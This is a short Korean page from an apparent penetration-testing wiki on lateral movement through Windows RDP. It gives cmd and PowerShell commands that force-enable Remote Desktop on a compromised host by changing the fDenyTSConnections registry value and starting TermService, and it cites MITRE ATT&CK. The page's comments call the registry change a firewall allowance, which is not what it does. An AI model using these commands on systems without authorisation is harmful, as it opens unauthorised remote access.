> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/lateral-movement/windows/rdp.md).

# RDP

RDP(Remote Desktop Protocol)은 Windows에서 기본으로 제공되는 서비스입니다.

AD 환경에서는 Remote Desktop User 그룹에 속하거나 권한 정책에 의해 명시적으로 허용된 도메인 계정을 통해 원격 접속이 가능하며, 일반 Windows 환경에서는 기본적으로 생성한 모든 계정이 허용됩니다.

대상 시스템에 관리자 권한(High mandatory level)의 원격 명령 실행이 가능할 경우 rdp가 비활성화 된 상태에서도 강제로 활성화하여 접속할 수 있습니다.

## Abuse

<pre class="language-bash" data-title="cmd"><code class="lang-bash"><strong># rdp 방화벽 허용
</strong>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

<strong># rdp 서비스 시작
</strong>net start TermService
</code></pre>

<pre class="language-powershell" data-title="PowerShell"><code class="lang-powershell"><strong># rdp 방화벽 허용
</strong>Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0

<strong># rdp 서비스 시작
</strong>net start TermService
</code></pre>

## References

{% embed url="<https://asec.ahnlab.com/ko/39804/>" %}

{% embed url="<https://attack.mitre.org/techniques/T1021/001/>" %}
